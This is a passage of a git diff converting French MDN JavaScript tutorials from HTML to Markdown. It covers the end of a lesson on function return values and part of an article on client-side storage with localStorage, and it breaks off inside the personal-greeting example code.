entrée n'est pas un nombre, un message d'erreur s'affiche dans le paragraphe. Le test vérifie si l'expression <code>isNaN(num)</code> retourne <code>true</code>. Nous utilisons la fonction <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/isNaN">isNaN()</a> pour vérifier si la valeur <code>num</code> est un nombre — si c'est le cas, elle retourne <code>false</code>, sinon <code>true</code>.</p> + Si le test retourne `false`, la valeur `num` est un nombre, alors une phrase s'affiche dans le paragraphe indiquant le carré, le cube et la factorielle du nombre. La phrase appelle les fonctions `squared()`, `cubed()` et `factorial()` pour obtenir les valeurs désirées. - <p>Si le test retourne <code>false</code>, la valeur <code>num</code> est un nombre, alors une phrase s'affiche dans le paragraphe indiquant le carré, le cube et la factorielle du nombre. La phrase appelle les fonctions <code>squared()</code>, <code>cubed()</code> et <code>factorial()</code> pour obtenir les valeurs désirées.</p> - </li> - <li>Sauvegardez votre code, chargez-le dans votre navigateur et testez-le.</li> -</ol> +4. Sauvegardez votre code, chargez-le dans votre navigateur et testez-le. -<div class="note"> -<p><strong>Note :</strong> Si vous rencontrez des difficultés pour faire fonctionner cet exemple, vous pouvez vérifier le code en le comparant à la <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library-finished.html">Version final sur GitHub</a> (également <a href="http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-library-finished.html">Démonstration en direct</a>), ou demandez-nous de l'aide.</p> -</div> +> **Note :** Si vous rencontrez des difficultés pour faire fonctionner cet exemple, vous pouvez vérifier le code en le comparant à la [Version final sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library-finished.html) (également [Démonstration en direct](http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-library-finished.html)), ou demandez-nous de l'aide. -<p>À ce stade, nous aimerions que vous essayiez d'écrire quelque fonctions de votre choix et que vous les ajoutiez à la bibliothèque. Que diriez-vous des racines carré et cubique du nombre, ou de la circonférence d'un cercle de rayon <code>num</code>?</p> +À ce stade, nous aimerions que vous essayiez d'écrire quelque fonctions de votre choix et que vous les ajoutiez à la bibliothèque. Que diriez-vous des racines carré et cubique du nombre, ou de la circonférence d'un cercle de rayon `num`? -<p>Cet exercice a soulevé quelques points importants en plus de nous avoir permis d'étudier l'utilisation de la déclaration <code>return</code>. De plus, nous avons:</p> +Cet exercice a soulevé quelques points importants en plus de nous avoir permis d'étudier l'utilisation de la déclaration `return`. De plus, nous avons: -<ul> - <li>Examiné un autre exemple d'écriture de gestion d'erreurs dans nos fonctions. C'est une bonne idée de vérifier que tous les paramètres nécessaires ont été fournis, avec les bons types de données, et, s'ils sont facultatifs, qu'une valeur par défaut est fournie. De cette façon, votre programme sera moins susceptible de lever des erreurs.</li> - <li>Pensé à créer une bibliothèque de fonctions. À mesure que vous avancerez dans votre carrière de développeur, vous recommencerez les mêmes choses encore et encore. C'est une bonne idée de commencer à créer votre propre bibliothèque de fonctions utilitaires que vous utilisez très souvent — vous pouvez ensuite copier ces fonctions dans votre nouveau code, ou même utiliser la bibliothèque dans les pages HTML où vous en avez besoin.</li> -</ul> +- Examiné un autre exemple d'écriture de gestion d'erreurs dans nos fonctions. C'est une bonne idée de vérifier que tous les paramètres nécessaires ont été fournis, avec les bons types de données, et, s'ils sont facultatifs, qu'une valeur par défaut est fournie. De cette façon, votre programme sera moins susceptible de lever des erreurs. +- Pensé à créer une bibliothèque de fonctions. À mesure que vous avancerez dans votre carrière de développeur, vous recommencerez les mêmes choses encore et encore. C'est une bonne idée de commencer à créer votre propre bibliothèque de fonctions utilitaires que vous utilisez très souvent — vous pouvez ensuite copier ces fonctions dans votre nouveau code, ou même utiliser la bibliothèque dans les pages HTML où vous en avez besoin. -<h2 id="Conclusion">Conclusion</h2> +## Conclusion -<p>Nous l'avons vu, les fonctions sont amusantes, très utiles et, bien qu'il y ait beaucoup à dire en termes de syntaxe et de fonctionnalités, elles sont assez compréhensibles si elles sont étudiés correctement.</p> +Nous l'avons vu, les fonctions sont amusantes, très utiles et, bien qu'il y ait beaucoup à dire en termes de syntaxe et de fonctionnalités, elles sont assez compréhensibles si elles sont étudiés correctement. -<p>Si vous n'avez pas compris quelque chose, n'hésitez pas à relire l'article, ou <a href="/fr/Learn#Contact_us">contactez-nous</a> pour obtenir de l'aide.</p> +Si vous n'avez pas compris quelque chose, n'hésitez pas à relire l'article, ou [contactez-nous](/fr/Learn#Contact_us) pour obtenir de l'aide. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/JavaScript/Reference/Functions">Fonctions en profondeur</a> — Un guide détaillé couvrant des information plus avancées sur les fonctions.</li> - <li><a href="https://www.impressivewebs.com/callback-functions-javascript/">Fonction Callback en JavaScript</a> — Une façon courante en JavaScript consiste à passer une fonction à une autre en tant qu'argument, qui est alors appelée à l'intérieur de la première fonction. Cela va au delà de la portée de ce cours, mais mériterait d'être étudier rapidement.</li> -</ul> +- [Fonctions en profondeur](/fr/docs/Web/JavaScript/Reference/Functions) — Un guide détaillé couvrant des information plus avancées sur les fonctions. +- [Fonction Callback en JavaScript](https://www.impressivewebs.com/callback-functions-javascript/) — Une façon courante en JavaScript consiste à passer une fonction à une autre en tant qu'argument, qui est alors appelée à l'intérieur de la première fonction. Cela va au delà de la portée de ce cours, mais mériterait d'être étudier rapidement. -<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</p> +{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}} -<p> </p> -<h2 id="Dans_ce_module">Dans ce module</h2> -<ul> - <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/conditionals">Prendre des décisions dans le code — conditions</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Looping_code">Les boucles dans le code</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Fonctions">Fonctions — Des blocs de code réutilisables</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Build_your_own_function">Construire vos propres fonctions</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Return_values">Valeurs de retour des fonctions</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Ev%C3%A8nements">Introduction aux événements</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Image_gallery">Galerie d'images</a></li> -</ul> +## Dans ce module -<p> </p> +- [Prendre des décisions dans le code — conditions](/fr/docs/Apprendre/JavaScript/Building_blocks/conditionals) +- [Les boucles dans le code](/fr/docs/Apprendre/JavaScript/Building_blocks/Looping_code) +- [Fonctions — Des blocs de code réutilisables](/fr/docs/Apprendre/JavaScript/Building_blocks/Fonctions) +- [Construire vos propres fonctions](/fr/docs/Apprendre/JavaScript/Building_blocks/Build_your_own_function) +- [Valeurs de retour des fonctions](/fr/docs/Apprendre/JavaScript/Building_blocks/Return_values) +- [Introduction aux événements](/fr/docs/Apprendre/JavaScript/Building_blocks/Ev%C3%A8nements) +- [Galerie d'images](/fr/docs/Apprendre/JavaScript/Building_blocks/Image_gallery) diff --git a/files/fr/learn/javascript/client-side_web_apis/client-side_storage/index.md b/files/fr/learn/javascript/client-side_web_apis/client-side_storage/index.md index 60cc11cd4a..5940cfeb39 100644 --- a/files/fr/learn/javascript/client-side_web_apis/client-side_storage/index.md +++ b/files/fr/learn/javascript/client-side_web_apis/client-side_storage/index.md @@ -13,478 +13,445 @@ tags: translation_of: Learn/JavaScript/Client-side_web_APIs/Client-side_storage original_slug: Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage --- -<p>{{LearnSidebar}}</p> +{{LearnSidebar}} -<div>{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div> +{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}} -<div></div> - -<p>Les navigateurs web modernes permettent aux sites web de stocker des données sur l'ordinateur de l'utilisateur — avec sa permission — puis de les récupérer au besoin. Cela permet d'enregistrer des données pour du stockage à long terme, de sauvegarder des documents ou des sites hors-ligne, de conserver des préférences spécifiques à l'utilisateur et plus encore. Cet article explique les fondamentaux pour y parvenir.</p> +Les navigateurs web modernes permettent aux sites web de stocker des données sur l'ordinateur de l'utilisateur — avec sa permission — puis de les récupérer au besoin. Cela permet d'enregistrer des données pour du stockage à long terme, de sauvegarder des documents ou des sites hors-ligne, de conserver des préférences spécifiques à l'utilisateur et plus encore. Cet article explique les fondamentaux pour y parvenir. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Notions de bases de JavaScript (voir <a href="/fr/docs/Learn/JavaScript/First_steps">premiers pas</a>, <a href="/fr/Apprendre/JavaScript/Building_blocks">les briques JavaScript</a>, <a href="/fr/docs/Learn/JavaScript/Objects">les objets JavaScript</a>), les <a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction">notions de base des APIs côté client</a></td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Apprendre à utiliser les APIs de stockage côté client pour stocker des données de l'application.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Notions de bases de JavaScript (voir + <a href="/fr/docs/Learn/JavaScript/First_steps">premiers pas</a>, + <a href="/fr/Apprendre/JavaScript/Building_blocks" + >les briques JavaScript</a + >, + <a href="/fr/docs/Learn/JavaScript/Objects">les objets JavaScript</a>), + les + <a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction" + >notions de base des APIs côté client</a + > + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Apprendre à utiliser les APIs de stockage côté client pour stocker des + données de l'application. + </td> + </tr> + </tbody> </table> -<h2 id="Stockage_côté_client">Stockage côté client ?</h2> +## Stockage côté client ? -<p>Ailleurs dans la zone d'apprentissage de MDN, nous avons parlé de la différence entre les <a href="/fr/docs/Learn/Server-side/First_steps/Client-Server_overview#Static_sites">sites statiques</a> et les <a href="/fr/docs/Learn/Server-side/First_steps/Client-Server_overview#Dynamic_sites">sites dynamiques</a> — ces derniers stockent des données <a href="/fr/docs/Learn/Server-side">côté serveur</a> en utilisant une base de données. Ensuite, ils exécutent du code pour récupérer les données et les insérer dans des templates de page statique. Finalement, le HTML résultant est envoyé au client, qui est alors affiché par le navigateur de l'utilisateur.</p> +Ailleurs dans la zone d'apprentissage de MDN, nous avons parlé de la différence entre les [sites statiques](/fr/docs/Learn/Server-side/First_steps/Client-Server_overview#Static_sites) et les [sites dynamiques](/fr/docs/Learn/Server-side/First_steps/Client-Server_overview#Dynamic_sites) — ces derniers stockent des données [côté serveur](/fr/docs/Learn/Server-side) en utilisant une base de données. Ensuite, ils exécutent du code pour récupérer les données et les insérer dans des templates de page statique. Finalement, le HTML résultant est envoyé au client, qui est alors affiché par le navigateur de l'utilisateur. -<p>Le stockage côté client fonctionne sur des principes similaires, mais pour une utilisation différente. Le stockage côté client repose sur des APIs JavaScript qui permettent de stocker des données sur la machine de l'utilisateur et de les récupérer au besoin. Cela peut se révéler utile dans différents cas comme :</p> +Le stockage côté client fonctionne sur des principes similaires, mais pour une utilisation différente. Le stockage côté client repose sur des APIs JavaScript qui permettent de stocker des données sur la machine de l'utilisateur et de les récupérer au besoin. Cela peut se révéler utile dans différents cas comme : -<ul> - <li>Personnaliser les préférences du site (par exemple, afficher des widgets personnalisés selon le choix de l'utilisateur, changer le thème du site ou la taille de la police).</li> - <li>Enregistrer les activités sur le site (comme le contenu d'un panier d'achat d'une session précédente, ou encore se souvenir si l'utilisateur s'est déjà connecté).</li> - <li>Sauvegarder des données et ressources localement pour pouvoir accéder au site plus rapidement ou même sans connexion réseau.</li> - <li>Sauvegarder des documents générés par l'application pour une utilisation hors ligne.</li> -</ul> +- Personnaliser les préférences du site (par exemple, afficher des widgets personnalisés selon le choix de l'utilisateur, changer le thème du site ou la taille de la police). +- Enregistrer les activités sur le site (comme le contenu d'un panier d'achat d'une session précédente, ou encore se souvenir si l'utilisateur s'est déjà connecté). +- Sauvegarder des données et ressources localement pour pouvoir accéder au site plus rapidement ou même sans connexion réseau. +- Sauvegarder des documents générés par l'application pour une utilisation hors ligne. -<p>Souvent, le stockage côté client et côté serveur sont utilisés ensemble. Par exemple, vous pouvez télécharger à partir d'une base de données côté serveur une série de fichiers mp3 utilisés par un site web (comme un jeu ou une application de musique) vers une base de données côté client et ainsi pouvoir les lire quand vous le voulez. Avec cette stratégie, l'utilisateur n'a à télécharger le fichier qu'une seule fois — les visites suivantes, ils sont récupérés à partir de la base de données locale.</p> +Souvent, le stockage côté client et côté serveur sont utilisés ensemble. Par exemple, vous pouvez télécharger à partir d'une base de données côté serveur une série de fichiers mp3 utilisés par un site web (comme un jeu ou une application de musique) vers une base de données côté client et ainsi pouvoir les lire quand vous le voulez. Avec cette stratégie, l'utilisateur n'a à télécharger le fichier qu'une seule fois — les visites suivantes, ils sont récupérés à partir de la base de données locale. -<div class="note"> -<p><strong>Note :</strong> La quantité de données que l'on peut stocker à l'aide des APIs de stockage côté client est limitée (limite par API et limite globale), la limite exacte dépend du navigateur et des configurations. Voir <a href="/fr/docs/Web/API/API_IndexedDB/Browser_storage_limits_and_eviction_criteria">Limites de stockage du navigateur et critères d'éviction</a> pour plus d'informations.</p> -</div> +> **Note :** La quantité de données que l'on peut stocker à l'aide des APIs de stockage côté client est limitée (limite par API et limite globale), la limite exacte dépend du navigateur et des configurations. Voir [Limites de stockage du navigateur et critères d'éviction](/fr/docs/Web/API/API_IndexedDB/Browser_storage_limits_and_eviction_criteria) pour plus d'informations. -<h3 id="À_lancienne_les_cookies">À l'ancienne : les cookies</h3> +### À l'ancienne : les cookies -<p>Le concept de stockage côté client existe depuis longtemps. Au début du web, les sites utilisaient des <a href="/fr/docs/Web/HTTP/Cookies">cookies</a> pour stocker des informations et personnaliser l'expérience utilisateur. C'est la méthode de stockage côté client la plus couramment utilisée et la plus ancienne.</p> +Le concept de stockage côté client existe depuis longtemps. Au début du web, les sites utilisaient des [cookies](/fr/docs/Web/HTTP/Cookies) pour stocker des informations et personnaliser l'expérience utilisateur. C'est la méthode de stockage côté client la plus couramment utilisée et la plus ancienne. -<p>De par leur histoire, les cookies souffrent d'un certain nombre de problèmes — tant techniques qu'au niveau de l'expérience utilisateur. Ces problèmes sont suffisamment importants pour imposer un message d'information aux utilisateurs habitant en Europe lors de leur première visite si le site utilise des cookies pour stocker des informations sur eux. Cela est dû à une loi de l'Union Européenne connue sous le nom de <a href="/fr/docs/Web/HTTP/Cookies#EU_cookie_directive">directive Cookie</a>.</p> +De par leur histoire, les cookies souffrent d'un certain nombre de problèmes — tant techniques qu'au niveau de l'expérience utilisateur. Ces problèmes sont suffisamment importants pour imposer un message d'information aux utilisateurs habitant en Europe lors de leur première visite si le site utilise des cookies pour stocker des informations sur eux. Cela est dû à une loi de l'Union Européenne connue sous le nom de [directive Cookie](/fr/docs/Web/HTTP/Cookies#EU_cookie_directive). -<p><img alt="" src="cookies-notice.png"></p> + -<p>Pour ces raisons, nous ne verrons pas dans cet article comment utiliser les cookies. Entre le fait qu'ils sont dépassés, les <a href="/fr/docs/Web/HTTP/Cookies#Security">problèmes de sécurité</a> qu'ils présentent et l'incapacité de stocker des données complexes, les cookies ne sont pas la meilleure manière pour stocker des données. Il y a de meilleures alternatives, modernes, permettant de stocker des données variées sur l'ordinateur de l'utilisateur.</p> +Pour ces raisons, nous ne verrons pas dans cet article comment utiliser les cookies. Entre le fait qu'ils sont dépassés, les [problèmes de sécurité](/fr/docs/Web/HTTP/Cookies#Security) qu'ils présentent et l'incapacité de stocker des données complexes, les cookies ne sont pas la meilleure manière pour stocker des données. Il y a de meilleures alternatives, modernes, permettant de stocker des données variées sur l'ordinateur de l'utilisateur. -<p>Le seul avantage des cookies est qu'ils sont supportés par des navigateurs anciens : si votre projet requiert le support de navigateurs obsolètes (comme Internet Explorer 8 et inférieur), les cookies peuvent se révéler utiles. Pour la plupart des projets, vous ne devriez pas avoir besoin d'y recourir.</p> +Le seul avantage des cookies est qu'ils sont supportés par des navigateurs anciens : si votre projet requiert le support de navigateurs obsolètes (comme Internet Explorer 8 et inférieur), les cookies peuvent se révéler utiles. Pour la plupart des projets, vous ne devriez pas avoir besoin d'y recourir. -<div class="note"> -<p><strong>Note :</strong> Pourquoi existe-t-il encore de nouveaux sites crées à l'aide de cookies? Principalement de par les habitudes des développeurs, l'utilisation de bibliothèques anciennes qui utilisent encore des cookies et l'existence de nombreux sites web fournissant des formations et références dépassées pour apprendre à stocker des données.</p> -</div> +> **Note :** Pourquoi existe-t-il encore de nouveaux sites crées à l'aide de cookies? Principalement de par les habitudes des développeurs, l'utilisation de bibliothèques anciennes qui utilisent encore des cookies et l'existence de nombreux sites web fournissant des formations et références dépassées pour apprendre à stocker des données. -<h3 id="La_nouvelle_école_Web_Storage_et_IndexedDB">La nouvelle école : Web Storage et IndexedDB</h3> +### La nouvelle école : Web Storage et IndexedDB -<p>Les navigateurs modernes ont des APIs beaucoup plus efficaces et faciles d'utilisation pour stocker des données côté client.</p> +Les navigateurs modernes ont des APIs beaucoup plus efficaces et faciles d'utilisation pour stocker des données côté client. -<ul> - <li>L'<a href="/fr/docs/Web/API/Web_Storage_API">API Web Storage</a> fournit une syntaxe très simple pour stocker et récupérer des données de petite taille, basé sur un système de clé/valeur. C'est utile lorsque vous avez besoin de stocker des données simples, comme le nom de l'utilisateur, le fait qu'il soit connecté ou non, la couleur à utiliser pour l'arrière-plan de l'écran, etc.</li> - <li>L'<a href="/fr/docs/Web/API/API_IndexedDB">API IndexedDB</a> fournit au navigateur un système de base de données complet pour stocker des données complexes. C'est utile pour des choses allant de simples sauvegardes côté client (texte) au stockage de données complexes tels que des fichiers audio ou vidéo.</li> -</ul> +- L'[API Web Storage](/fr/docs/Web/API/Web_Storage_API) fournit une syntaxe très simple pour stocker et récupérer des données de petite taille, basé sur un système de clé/valeur. C'est utile lorsque vous avez besoin de stocker des données simples, comme le nom de l'utilisateur, le fait qu'il soit connecté ou non, la couleur à utiliser pour l'arrière-plan de l'écran, etc. +- L'[API IndexedDB](/fr/docs/Web/API/API_IndexedDB) fournit au navigateur un système de base de données complet pour stocker des données complexes. C'est utile pour des choses allant de simples sauvegardes côté client (texte) au stockage de données complexes tels que des fichiers audio ou vidéo. -<p>Vous en apprendrez plus sur ces APIs ci-dessous.</p> +Vous en apprendrez plus sur ces APIs ci-dessous. -<h3 id="Le_futur_lAPI_Cache">Le futur : l'API Cache</h3> +### Le futur : l'API Cache -<p>Certains navigateurs modernes prennent en charge la nouvelle API {{domxref("Cache")}}. Cette API a été conçue pour stocker les réponses HTTP de requêtes données et est très utile pour stocker des ressources du site afin qu'il soit accessible sans connexion réseau par exemple. Le cache est généralement utilisé avec l'<a href="/fr/docs/Web/API/Service_Worker_API">API Service Worker</a>, mais ce n'est pas obligatoire.</p> +Certains navigateurs modernes prennent en charge la nouvelle API {{domxref("Cache")}}. Cette API a été conçue pour stocker les réponses HTTP de requêtes données et est très utile pour stocker des ressources du site afin qu'il soit accessible sans connexion réseau par exemple. Le cache est généralement utilisé avec l'[API Service Worker](/fr/docs/Web/API/Service_Worker_API), mais ce n'est pas obligatoire. -<p>L'utilisation du Cache et des Service Workers est un sujet avancé, nous ne le traiterons pas en détail dans cet article, nous ne montrerons qu'un simple exemple dans la section {{anch("Stockage hors-ligne de ressources")}} plus bas.</p> +L'utilisation du Cache et des Service Workers est un sujet avancé, nous ne le traiterons pas en détail dans cet article, nous ne montrerons qu'un simple exemple dans la section {{anch("Stockage hors-ligne de ressources")}} plus bas. -<h2 id="Stocker_des_données_simples_—_web_storage">Stocker des données simples — web storage</h2> +## Stocker des données simples — web storage -<p>L'<a href="/fr/docs/Web/API/Web_Storage_API">API Web Storage</a> est très facile à utiliser — on stocke une simple paire clé/valeur de données (limité aux données scalaires) et on les récupére au besoin.</p> +L'[API Web Storage](/fr/docs/Web/API/Web_Storage_API) est très facile à utiliser — on stocke une simple paire clé/valeur de données (limité aux données scalaires) et on les récupére au besoin. -<h3 id="Syntaxe_basique">Syntaxe basique</h3> +### Syntaxe basique -<p>Nous allons vous guider pas à pas :</p> +Nous allons vous guider pas à pas : -<ol> - <li> - <p>Tout d'abord, ouvez notre template vide de <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/web-storage/index.html">web storage sur GitHub</a> dans un nouvel onglet.</p> - </li> - <li> - <p>Ouvrez la console JavaScript de votre navigateur.</p> - </li> - <li> - <p>Toutes les données du web storage sont contenues dans deux structures de type objet : {{domxref("Window.sessionStorage", "sessionStorage")}} et {{domxref("Window.localStorage", "localStorage")}}. Le premier conserve les données aussi longtemps que le navigateur est ouvert (elles sont perdues lorsque le navigateur est fermé) et le second conserve les données même après que le navigateur ait été fermé puis ré-ouvert. Nous allons utiliser le second dans cet article car il est généralement plus utile.</p> +1. Tout d'abord, ouvez notre template vide de [web storage sur GitHub](https://mdn.github.io/learning-area/javascript/apis/client-side-storage/web-storage/index.html) dans un nouvel onglet. +2. Ouvrez la console JavaScript de votre navigateur. +3. Toutes les données du web storage sont contenues dans deux structures de type objet : {{domxref("Window.sessionStorage", "sessionStorage")}} et {{domxref("Window.localStorage", "localStorage")}}. Le premier conserve les données aussi longtemps que le navigateur est ouvert (elles sont perdues lorsque le navigateur est fermé) et le second conserve les données même après que le navigateur ait été fermé puis ré-ouvert. Nous allons utiliser le second dans cet article car il est généralement plus utile. - <p>La méthode {{domxref("Storage.setItem()")}} permet de sauvegarder des données dans le storage — elle prend deux paramètres : le nom de l'entrée à enregistrer et sa valeur. Essayez de taper ce qui suit dans votre console JavaScript (changez le nom et la valeur si vous le voulez !) :</p> + La méthode {{domxref("Storage.setItem()")}} permet de sauvegarder des données dans le storage — elle prend deux paramètres : le nom de l'entrée à enregistrer et sa valeur. Essayez de taper ce qui suit dans votre console JavaScript (changez le nom et la valeur si vous le voulez !) : - <pre class="brush: js">localStorage.setItem('name','Chris');</pre> - </li> - <li> - <p>La méthode {{domxref("Storage.getItem()")}} prend un paramètre — le nom de l'entrée que vous voulez récupérer — et retourne la valeur de l'entrée. Maintenant, tapez ces lignes dans votre console JavaScript :</p> + ```js + localStorage.setItem('name','Chris'); + ``` - <pre class="brush: js">var myName = localStorage.getItem('name'); -myName</pre> +4. La méthode {{domxref("Storage.getItem()")}} prend un paramètre — le nom de l'entrée que vous voulez récupérer — et retourne la valeur de l'entrée. Maintenant, tapez ces lignes dans votre console JavaScript : - <p>En tapant la deuxième ligne, vous devriez voir que la variable <code>myName</code> contient la valeur de l'entrée <code>name</code>.</p> - </li> - <li> - <p>La méthode {{domxref("Storage.removeItem()")}} prend un paramètre — le nom de l'entrée de vous voulez supprimer — et supprime l'entrée du web storage. Tapez les lignes suivantes dans votre console JavaScript :</p> + ```js + var myName = localStorage.getItem('name'); + myName + ``` - <pre class="brush: js">localStorage.removeItem('name'); -var myName = localStorage.getItem('name'); -myName</pre> + En tapant la deuxième ligne, vous devriez voir que la variable `myName` contient la valeur de l'entrée `name`. - <p>La troisième ligne devrait maintenant retourner <code>null</code> — l'entrée <code>name</code> n'existe plus dans le web storage.</p> - </li> -</ol> +5. La méthode {{domxref("Storage.removeItem()")}} prend un paramètre — le nom de l'entrée de vous voulez supprimer — et supprime l'entrée du web storage. Tapez les lignes suivantes dans votre console JavaScript : -<h3 id="Les_données_persistent_!">Les données persistent !</h3> + ```js + localStorage.removeItem('name'); + var myName = localStorage.getItem('name'); + myName + ``` -<p>Une caractéristique clé du web storage est que les données persistent entre les différents chargements de page (et même lorsque le navigateur est arrêté dans le cas du <code>localStorage</code>). Regardons ça en action :</p> + La troisième ligne devrait maintenant retourner `null` — l'entrée `name` n'existe plus dans le web storage. -<ol> - <li> - <p>Ouvrez notre template vide une fois de plus, mais cette fois dans un navigateur différent de celui dans lequel vous avez ouvert ce tutoriel. Cela rendra la suite plus facile.</p> - </li> - <li> - <p>Tapez ces lignes dans la console JavaScript du navigateur que vous venez d'ouvrir :</p> +### Les données persistent ! - <pre class="brush: js">localStorage.setItem('name','Chris'); -var myName = localStorage.getItem('name'); -myName</pre> - - <p>Vous devriez voir que l'entrée <code>name</code> est bien là.</p> - </li> - <li> - <p>Maintenant, fermez le navigateur et ouvrez-le de nouveau.</p> - </li> - <li> - <p>Entrez les lignes suivantes :</p> - - <pre class="brush: js">var myName = localStorage.getItem('name'); -myName</pre> - - <p>Vous devriez voir que la valeur est toujours accessible, quand bien même le navigateur a été redémarré.</p> - </li> -</ol> - -<h3 id="Stockage_séparé_pour_chaque_domaine">Stockage séparé pour chaque domaine</h3> - -<p>Il existe un système de stockage distinct pour chaque domaine (chaque adresse web chargée dans le navigateur a accès à son propre storage et pas aux autres). Vous verrez que si vous chargez deux sites web (disons google.com et amazon.com) et essayez de stocker un élément, il ne sera pas disponible sur l'autre site.</p> - -<p>C'est plutôt logique — imaginez les problèmes de sécurité qui se poseraient si les sites web pouvaient voir les données d'un autre !</p> - -<h3 id="Un_exemple_plus_impliqué">Un exemple plus impliqué</h3> - -<p>Appliquons cette nouvelle connaissance pour écrire un exemple, cela vous donnera une idée de la façon dont le web storage peut être utilisé. Notre exemple permettra d'envoyer un nom, à la suite de quoi la page sera mise à jour pour donner un accueil personnalisé. Cet état persistera également après un rechargement de la page ou redémarrage du navigateur, puisqu'il sera stocké dans le web storage.</p> - -<p>Le HTML de l'exemple est disponible à <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/web-storage/personal-greeting.html">personal-greeting.html</a> — il s'agit d'un site web très simple avec entête, contenu et pied de page, ainsi qu'un formulaire pour entrer votre nom.</p> - -<p><img alt="" src="web-storage-demo.png"></p> - -<p>Nous allons construire cet exemple pas à pas, cela vous permettra de comprendre comment ça marche.</p> - -<ol> - <li> - <p>D'abord, copiez notre fichier <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/web-storage/personal-greeting.html">personal-greeting.html</a> dans un nouveau répertoire sur votre ordinateur.</p> - </li> - <li> - <p>Ensuite, créez un fichier <code>index.js</code> dans le même répertoire que le fichier HTML — le fichier HTML inclut ce script (voir ligne 40).</p> - </li> - <li> - <p>Nous allons commencer par récupérer les références de tous les éléments HTML qu'on manipulera dans cet exemple — nous les créons en tant que constantes car ces références n'ont pas besoin d'être modifiées au cours de l'exécution de l'application. Ajoutez les lignes suivantes à votre fichier JavaScript:</p> - - <pre class="brush: js">// créer les constantes nécessaires -const rememberDiv = document.querySelector('.remember'); -const forgetDiv = document.querySelector('.forget'); -const form = document.querySelector('form'); -const nameInput = document.querySelector('#entername'); -const submitBtn = document.querySelector('#submitname'); -const forgetBtn = document.querySelector('#forgetname'); - -const h1 = document.querySelector('h1'); -const personalGreeting = document.querySelector('.personal-greeting');</pre> - </li> - <li> - <p>Ensuite, on doit ajouter un gestionnaire d'événement pour empêcher le formulaire d'être véritablement soumis lorsque le bouton de soumission est cliqué, puisque ce n'est pas le comportement que l'on veut. Ajoutez le bout de code suivant à la suite de du code précédent :</p> - - <pre class="brush: js">// Empêcher le form d'être soumis -form.addEventListener('submit', function(e) { - e.preventDefault(); -});</pre> - </li> - <li> - <p>Maintenant, on doit ajouter un gestionnaire d'événement pour gérer le clic sur le bouton "Say hello" (dire bonjour). Les commentaires expliquent ce que chaque instruction fait, mais, en substance, on prend le nom que l'utilisateur a entré dans le champs texte et on l'enregistre dans le web storage avec <code>setItem()</code>. Ensuite, on exécute une fonction appelée <code>nameDisplayCheck()</code> qui se charge de mettre à jour le contenu du site web. Ajoutez ceci au bas de votre code :</p> - - <pre class="brush: js">// exécuter la fonction quand le bouton 'Say hello' est cliqué -submitBtn.addEventListener('click', function() { - // stocker le nom entré dans le web storage - localStorage.setItem('name', nameInput.value); - // exécuter nameDisplayCheck() pour afficher la - // page personnalisée et changer le formulaire - nameDisplayCheck(); -});</pre> - </li> - <li> - <p>On doit maintenant gérer l'événement lorsque le bouton "Forget" (oublier) est cliqué — il est affiché une fois que le bouton "Say hello" a été cliqué (les deux boutons permettent de basculer d'un état à l'autre). Dans cette fonction, on supprime l'élément <code>name</code> du web storage en utilisant <code>removeItem()</code>, puis on exécute <code>nameDisplayCheck()</code> pour mettre à jour l'affichage. Ajoutez ceci au bas de votre code :</p> - - <pre class="brush: js">// exécuter la fonction quand le bouton 'Forget' est cliqué -forgetBtn.addEventListener('click', function() { - // supprimer l'item name du web storage - localStorage.removeItem('name'); - // exécuter nameDisplayCheck() pour afficher la - // page personnalisée et changer le formulaire - nameDisplayCheck(); -});</pre> - </li> - <li> - <p>Il est maintenant temps de définir la fonction <code>nameDisplayCheck()</code> elle-même. Ici, on vérifie si l'élément <code>name</code> est stocké dans le web storage en utilisant <code>localStorage.getItem('name')</code> comme condition. S'il existe, la valeur retournée sera évaluée à <code>true</code>; sinon, comme <code>false</code>. S'il existe, on affiche un message d'accueil personnalisé et le bouton "Forget" du formulaire, tout en masquant le bouton "Say hello" du formulaire. Sinon, on affiche un message d'accueil générique et le bouton "Say hello". Encore une fois, mettez les lignes suivantes au bas de votre code :</p> - - <pre class="brush: js">// définit la fonction nameDisplayCheck() -function nameDisplayCheck() { - // vérifie si l'élément 'name' est stocké dans le web storage - if(localStorage.getItem('name')) { - // Si c'est le cas, affiche un accueil personnalisé - let name = localStorage.getItem('name'); - h1.textContent = 'Welcome, ' + name; - personalGreeting.textContent = 'Welcome to our website, ' + name + '! We hope you have fun while you are here.'; - // cache la partie 'remember' du formulaire et affiche la partie 